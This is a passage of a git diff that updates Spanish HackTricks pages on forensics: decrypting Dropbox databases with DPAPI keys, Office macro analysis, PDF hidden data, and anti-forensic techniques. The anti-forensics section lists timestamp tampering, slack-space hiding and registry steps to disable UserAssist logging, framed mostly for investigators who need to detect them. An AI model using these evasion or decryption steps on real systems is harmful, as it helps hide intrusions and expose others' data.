* Las **claves maestras DPAPI**: Que se pueden encontrar en `\Users\\AppData\Roaming\Microsoft\Protect`
-* El **nombre de usuario** y la **contraseña** del usuario de Windows
+* El **nombre de usuario** y **contraseña** del usuario de Windows
-Luego puedes utilizar la herramienta [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:**
+Luego puedes usar la herramienta [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:**
![](<../../../.gitbook/assets/image (448).png>)
-Si todo va según lo esperado, la herramienta indicará la **clave primaria** que necesitas **usar para recuperar la original**. Para recuperar la original, simplemente utiliza esta [receta de cyber\_chef](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\) poniendo la clave primaria como "contraseña" dentro de la receta.
+Si todo sale como se espera, la herramienta indicará la **clave primaria** que necesitas **usar para recuperar la original**. Para recuperar la original, simplemente usa esta [receta de cyber\_chef](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) poniendo la clave primaria como la "frase de paso" dentro de la receta.
-El hex resultante es la clave final utilizada para encriptar las bases de datos que se pueden descifrar con:
+El hex resultante es la clave final utilizada para encriptar las bases de datos que se puede desencriptar con:
```bash
sqlite -k config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
```
-La base de datos **`config.dbx`** contiene:
+El **`config.dbx`** base de datos contiene:
-- **Email**: El correo electrónico del usuario
-- **usernamedisplayname**: El nombre del usuario
-- **dropbox\_path**: Ruta donde se encuentra la carpeta de Dropbox
-- **Host\_id: Hash** utilizado para autenticarse en la nube. Esto solo puede ser revocado desde la web.
-- **Root\_ns**: Identificador de usuario
+* **Email**: El correo electrónico del usuario
+* **usernamedisplayname**: El nombre del usuario
+* **dropbox\_path**: Ruta donde se encuentra la carpeta de dropbox
+* **Host\_id: Hash** utilizado para autenticar en la nube. Esto solo se puede revocar desde la web.
+* **Root\_ns**: Identificador del usuario
-La base de datos **`filecache.db`** contiene información sobre todos los archivos y carpetas sincronizados con Dropbox. La tabla `File_journal` es la que contiene la información más útil:
+La **`filecache.db`** base de datos contiene información sobre todos los archivos y carpetas sincronizados con Dropbox. La tabla `File_journal` es la que tiene más información útil:
-- **Server\_path**: Ruta donde se encuentra el archivo dentro del servidor (esta ruta está precedida por el `host_id` del cliente).
-- **local\_sjid**: Versión del archivo
-- **local\_mtime**: Fecha de modificación
-- **local\_ctime**: Fecha de creación
+* **Server\_path**: Ruta donde se encuentra el archivo dentro del servidor (esta ruta está precedida por el `host_id` del cliente).
+* **local\_sjid**: Versión del archivo
+* **local\_mtime**: Fecha de modificación
+* **local\_ctime**: Fecha de creación
Otras tablas dentro de esta base de datos contienen información más interesante:
-- **block\_cache**: hash de todos los archivos y carpetas de Dropbox
-- **block\_ref**: Relaciona el ID de hash de la tabla `block_cache` con el ID de archivo en la tabla `file_journal`
-- **mount\_table**: Compartir carpetas de Dropbox
-- **deleted\_fields**: Archivos eliminados de Dropbox
-- **date\_added**
+* **block\_cache**: hash de todos los archivos y carpetas de Dropbox
+* **block\_ref**: Relaciona el ID de hash de la tabla `block_cache` con el ID del archivo en la tabla `file_journal`
+* **mount\_table**: Compartir carpetas de dropbox
+* **deleted\_fields**: Archivos eliminados de Dropbox
+* **date\_added**
-
+
\
-Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
+Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente impulsados por las **herramientas más avanzadas** de la comunidad.\
Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende hacking en AWS desde cero hasta experto conhtARTE (HackTricks AWS Red Team Expert)!
+Apoya a HackTricks
-Otras formas de apoyar a HackTricks:
-
-- Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-- Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
-- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-- **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-- **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %}
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md
index 6c4d1ad3a..6cd895ec3 100644
--- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md
+++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md
@@ -1,36 +1,37 @@
-# Análisis de archivos de oficina
+# Análisis de archivos de Office
+
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Aprende hacking en AWS desde cero hasta experto conhtARTE (HackTricks AWS Red Team Expert)!
+Apoya a HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %}
-
+
\
-Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
-¡Accede hoy mismo:
+Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las **herramientas comunitarias más avanzadas** del mundo.\
+Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-Para obtener más información, visita [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Esto es solo un resumen:
+Para más información, consulta [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Este es solo un resumen:
-Microsoft ha creado muchos formatos de documentos de oficina, con dos tipos principales siendo los formatos **OLE** (como RTF, DOC, XLS, PPT) y los formatos **Office Open XML (OOXML)** (como DOCX, XLSX, PPTX). Estos formatos pueden incluir macros, convirtiéndolos en objetivos para phishing y malware. Los archivos OOXML están estructurados como contenedores zip, lo que permite su inspección descomprimiéndolos, revelando la jerarquía de archivos y carpetas y el contenido de archivos XML.
+Microsoft ha creado muchos formatos de documentos de oficina, siendo los dos tipos principales **formatos OLE** (como RTF, DOC, XLS, PPT) y **formatos Office Open XML (OOXML)** (como DOCX, XLSX, PPTX). Estos formatos pueden incluir macros, lo que los convierte en objetivos para phishing y malware. Los archivos OOXML están estructurados como contenedores zip, lo que permite la inspección a través de la descompresión, revelando la jerarquía de archivos y carpetas y el contenido de archivos XML.
-Para explorar las estructuras de archivos OOXML, se proporciona el comando para descomprimir un documento y la estructura de salida. Se han documentado técnicas para ocultar datos en estos archivos, lo que indica una innovación continua en el ocultamiento de datos en desafíos de CTF.
+Para explorar las estructuras de archivos OOXML, se proporciona el comando para descomprimir un documento y la estructura de salida. Se han documentado técnicas para ocultar datos en estos archivos, lo que indica una innovación continua en la ocultación de datos dentro de los desafíos CTF.
-Para el análisis, **oletools** y **OfficeDissector** ofrecen conjuntos de herramientas completos para examinar tanto documentos OLE como OOXML. Estas herramientas ayudan a identificar y analizar macros incrustadas, que a menudo sirven como vectores para la entrega de malware, descargando y ejecutando cargas maliciosas adicionales. El análisis de macros VBA se puede realizar sin Microsoft Office utilizando Libre Office, que permite la depuración con puntos de interrupción y variables de observación.
+Para el análisis, **oletools** y **OfficeDissector** ofrecen conjuntos de herramientas completos para examinar tanto documentos OLE como OOXML. Estas herramientas ayudan a identificar y analizar macros incrustadas, que a menudo sirven como vectores para la entrega de malware, normalmente descargando y ejecutando cargas útiles maliciosas adicionales. El análisis de macros VBA se puede realizar sin Microsoft Office utilizando Libre Office, que permite la depuración con puntos de interrupción y variables de observación.
-La instalación y el uso de **oletools** son sencillos, con comandos proporcionados para la instalación a través de pip y la extracción de macros de documentos. La ejecución automática de macros se desencadena mediante funciones como `AutoOpen`, `AutoExec` o `Document_Open`.
+La instalación y el uso de **oletools** son sencillos, con comandos proporcionados para instalar a través de pip y extraer macros de documentos. La ejecución automática de macros se activa mediante funciones como `AutoOpen`, `AutoExec` o `Document_Open`.
```bash
sudo pip3 install -U oletools
olevba -c /path/to/document #Extract macros
@@ -38,21 +39,22 @@ olevba -c /path/to/document #Extract macros
\
-Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
-Obtenga acceso hoy:
+Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
+Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprenda hacking en AWS de cero a héroe conhtARTE (Experto en Red Team de AWS de HackTricks)!
+Apoya a HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si desea ver su **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtenga el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Únase al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síganos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparta sus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %}
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md
index ad6b7ea11..bc05bc925 100644
--- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md
+++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md
@@ -1,52 +1,54 @@
# Análisis de archivos PDF
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende hacking en AWS desde cero hasta experto conhtARTE (HackTricks AWS Red Team Expert)!
+Apoya a HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
+{% endhint %}
\
-Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
-¡Accede hoy mismo:
+Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las herramientas comunitarias **más avanzadas** del mundo.\
+Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-**Para más detalles, consulta:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
+**Para más detalles consulta:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
-El formato PDF es conocido por su complejidad y potencial para ocultar datos, convirtiéndolo en un punto focal para desafíos forenses de CTF. Combina elementos de texto plano con objetos binarios, que pueden estar comprimidos o encriptados, e incluso puede incluir scripts en lenguajes como JavaScript o Flash. Para entender la estructura de un PDF, se puede consultar el material introductorio de Didier Stevens [aquí](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), o utilizar herramientas como un editor de texto o un editor específico de PDF como Origami.
+El formato PDF es conocido por su complejidad y su potencial para ocultar datos, lo que lo convierte en un punto focal para los desafíos de forense en CTF. Combina elementos de texto plano con objetos binarios, que pueden estar comprimidos o cifrados, y puede incluir scripts en lenguajes como JavaScript o Flash. Para entender la estructura del PDF, se puede consultar el [material introductorio](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) de Didier Stevens, o usar herramientas como un editor de texto o un editor específico de PDF como Origami.
-Para explorar o manipular PDFs en profundidad, se pueden utilizar herramientas como [qpdf](https://github.com/qpdf/qpdf) y [Origami](https://github.com/mobmewireless/origami-pdf). Los datos ocultos dentro de los PDF pueden estar camuflados en:
+Para una exploración o manipulación más profunda de PDFs, están disponibles herramientas como [qpdf](https://github.com/qpdf/qpdf) y [Origami](https://github.com/mobmewireless/origami-pdf). Los datos ocultos dentro de los PDFs pueden estar ocultos en:
* Capas invisibles
* Formato de metadatos XMP de Adobe
* Generaciones incrementales
* Texto del mismo color que el fondo
-* Texto detrás de imágenes o superpuesto a imágenes
+* Texto detrás de imágenes o imágenes superpuestas
* Comentarios no mostrados
-Para un análisis personalizado de PDF, se pueden utilizar bibliotecas de Python como [PeepDF](https://github.com/jesparza/peepdf) para crear scripts de análisis personalizados. Además, el potencial de los PDF para el almacenamiento de datos ocultos es tan vasto que recursos como la guía de la NSA sobre riesgos y contramedidas de PDF, aunque ya no se encuentre en su ubicación original, aún ofrecen información valiosa. Una [copia de la guía](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) y una colección de [trucos de formato PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) por Ange Albertini pueden proporcionar lecturas adicionales sobre el tema.
+Para un análisis personalizado de PDF, se pueden usar bibliotecas de Python como [PeepDF](https://github.com/jesparza/peepdf) para crear scripts de análisis a medida. Además, el potencial del PDF para el almacenamiento de datos ocultos es tan vasto que recursos como la guía de la NSA sobre riesgos y contramedidas de PDF, aunque ya no se encuentra en su ubicación original, aún ofrecen valiosos conocimientos. Una [copia de la guía](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) y una colección de [trucos del formato PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) de Ange Albertini pueden proporcionar más lecturas sobre el tema.
+
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Aprende hacking en AWS desde cero hasta experto conhtARTE (HackTricks AWS Red Team Expert)!
+Apoya a HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
+{% endhint %}
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md b/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md
index 235246bbd..68e6504ac 100644
--- a/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md
+++ b/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md
@@ -1,83 +1,84 @@
-# Técnicas Anti-Forense
+# Técnicas Anti-forenses
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Aprende hacking en AWS desde cero hasta experto conhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
-## Marcas de Tiempo
+## Tiempos
Un atacante puede estar interesado en **cambiar las marcas de tiempo de los archivos** para evitar ser detectado.\
-Es posible encontrar las marcas de tiempo dentro de la MFT en los atributos `$STANDARD_INFORMATION` y `$FILE_NAME`.
+Es posible encontrar las marcas de tiempo dentro del MFT en los atributos `$STANDARD_INFORMATION` \_\_ y \_\_ `$FILE_NAME`.
Ambos atributos tienen 4 marcas de tiempo: **Modificación**, **acceso**, **creación** y **modificación del registro MFT** (MACE o MACB).
**El explorador de Windows** y otras herramientas muestran la información de **`$STANDARD_INFORMATION`**.
-### TimeStomp - Herramienta Anti-Forense
+### TimeStomp - Herramienta anti-forense
-Esta herramienta **modifica** la información de marca de tiempo dentro de **`$STANDARD_INFORMATION`** **pero** **no** la información dentro de **`$FILE_NAME`**. Por lo tanto, es posible **identificar** **actividades sospechosas**.
+Esta herramienta **modifica** la información de la marca de tiempo dentro de **`$STANDARD_INFORMATION`** **pero** **no** la información dentro de **`$FILE_NAME`**. Por lo tanto, es posible **identificar** **actividad** **sospechosa**.
### Usnjrnl
-El **Diario USN** (Diario de Número de Secuencia de Actualización) es una característica del NTFS (sistema de archivos de Windows NT) que realiza un seguimiento de los cambios de volumen. La herramienta [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) permite examinar estos cambios.
+El **USN Journal** (Journal de Número de Secuencia de Actualización) es una característica del NTFS (sistema de archivos de Windows NT) que rastrea los cambios en el volumen. La herramienta [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) permite examinar estos cambios.
![](<../../.gitbook/assets/image (801).png>)
-La imagen anterior es la **salida** mostrada por la **herramienta** donde se puede observar que se realizaron algunos **cambios al archivo**.
+La imagen anterior es la **salida** mostrada por la **herramienta** donde se puede observar que se **realizaron algunos cambios** en el archivo.
### $LogFile
-**Todos los cambios de metadatos en un sistema de archivos se registran** en un proceso conocido como [registro de escritura anticipada](https://en.wikipedia.org/wiki/Write-ahead\_logging). Los metadatos registrados se mantienen en un archivo llamado `**$LogFile**`, ubicado en el directorio raíz de un sistema de archivos NTFS. Herramientas como [LogFileParser](https://github.com/jschicht/LogFileParser) se pueden utilizar para analizar este archivo e identificar cambios.
+**Todos los cambios de metadatos en un sistema de archivos se registran** en un proceso conocido como [escritura anticipada](https://en.wikipedia.org/wiki/Write-ahead_logging). Los metadatos registrados se mantienen en un archivo llamado `**$LogFile**`, ubicado en el directorio raíz de un sistema de archivos NTFS. Herramientas como [LogFileParser](https://github.com/jschicht/LogFileParser) se pueden usar para analizar este archivo e identificar cambios.
![](<../../.gitbook/assets/image (137).png>)
Nuevamente, en la salida de la herramienta es posible ver que **se realizaron algunos cambios**.
-Utilizando la misma herramienta es posible identificar a **qué hora se modificaron las marcas de tiempo**:
+Usando la misma herramienta es posible identificar **a qué hora se modificaron las marcas de tiempo**:
![](<../../.gitbook/assets/image (1089).png>)
* CTIME: Hora de creación del archivo
* ATIME: Hora de modificación del archivo
* MTIME: Modificación del registro MFT del archivo
-* RTIME: Hora de acceso al archivo
+* RTIME: Hora de acceso del archivo
### Comparación de `$STANDARD_INFORMATION` y `$FILE_NAME`
-Otra forma de identificar archivos modificados sospechosos sería comparar la hora en ambos atributos en busca de **diferencias**.
+Otra forma de identificar archivos modificados sospechosos sería comparar el tiempo en ambos atributos buscando **desajustes**.
### Nanosegundos
Las marcas de tiempo de **NTFS** tienen una **precisión** de **100 nanosegundos**. Por lo tanto, encontrar archivos con marcas de tiempo como 2010-10-10 10:10:**00.000:0000 es muy sospechoso**.
-### SetMace - Herramienta Anti-Forense
+### SetMace - Herramienta anti-forense
-Esta herramienta puede modificar ambos atributos `$STARNDAR_INFORMATION` y `$FILE_NAME`. Sin embargo, a partir de Windows Vista, es necesario tener un sistema operativo en vivo para modificar esta información.
+Esta herramienta puede modificar ambos atributos `$STARNDAR_INFORMATION` y `$FILE_NAME`. Sin embargo, desde Windows Vista, es necesario que un sistema operativo en vivo modifique esta información.
## Ocultación de Datos
-NTFS utiliza un clúster y el tamaño mínimo de información. Esto significa que si un archivo ocupa un clúster y medio, el **medio restante nunca se utilizará** hasta que se elimine el archivo. Entonces, es posible **ocultar datos en este espacio de desecho**.
+NFTS utiliza un clúster y el tamaño mínimo de información. Eso significa que si un archivo ocupa y utiliza un clúster y medio, la **mitad restante nunca se utilizará** hasta que se elimine el archivo. Entonces, es posible **ocultar datos en este espacio de holgura**.
-Existen herramientas como slacker que permiten ocultar datos en este espacio "oculto". Sin embargo, un análisis del `$logfile` y `$usnjrnl` puede mostrar que se agregaron algunos datos:
+Hay herramientas como slacker que permiten ocultar datos en este espacio "oculto". Sin embargo, un análisis del `$logfile` y `$usnjrnl` puede mostrar que se agregaron algunos datos:
![](<../../.gitbook/assets/image (1060).png>)
-Entonces, es posible recuperar el espacio de desecho utilizando herramientas como FTK Imager. Ten en cuenta que este tipo de herramienta puede guardar el contenido de forma obstruida o incluso encriptada.
+Entonces, es posible recuperar el espacio de holgura usando herramientas como FTK Imager. Tenga en cuenta que este tipo de herramienta puede guardar el contenido ofuscado o incluso cifrado.
## UsbKill
Esta es una herramienta que **apagará la computadora si se detecta algún cambio en los puertos USB**.\
-Una forma de descubrir esto sería inspeccionar los procesos en ejecución y **revisar cada script de Python en ejecución**.
+Una forma de descubrir esto sería inspeccionar los procesos en ejecución y **revisar cada script de python en ejecución**.
## Distribuciones de Linux en Vivo
@@ -93,70 +94,86 @@ Es posible deshabilitar varios métodos de registro de Windows para dificultar m
### Deshabilitar Marcas de Tiempo - UserAssist
-Esta es una clave del registro que mantiene las fechas y horas en que se ejecutó cada ejecutable por el usuario.
+Esta es una clave de registro que mantiene las fechas y horas en que cada ejecutable fue ejecutado por el usuario.
Deshabilitar UserAssist requiere dos pasos:
-1. Establecer dos claves del registro, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` y `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, ambos en cero para indicar que queremos deshabilitar UserAssist.
-2. Limpiar las subramas de tu registro que se parecen a `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`.
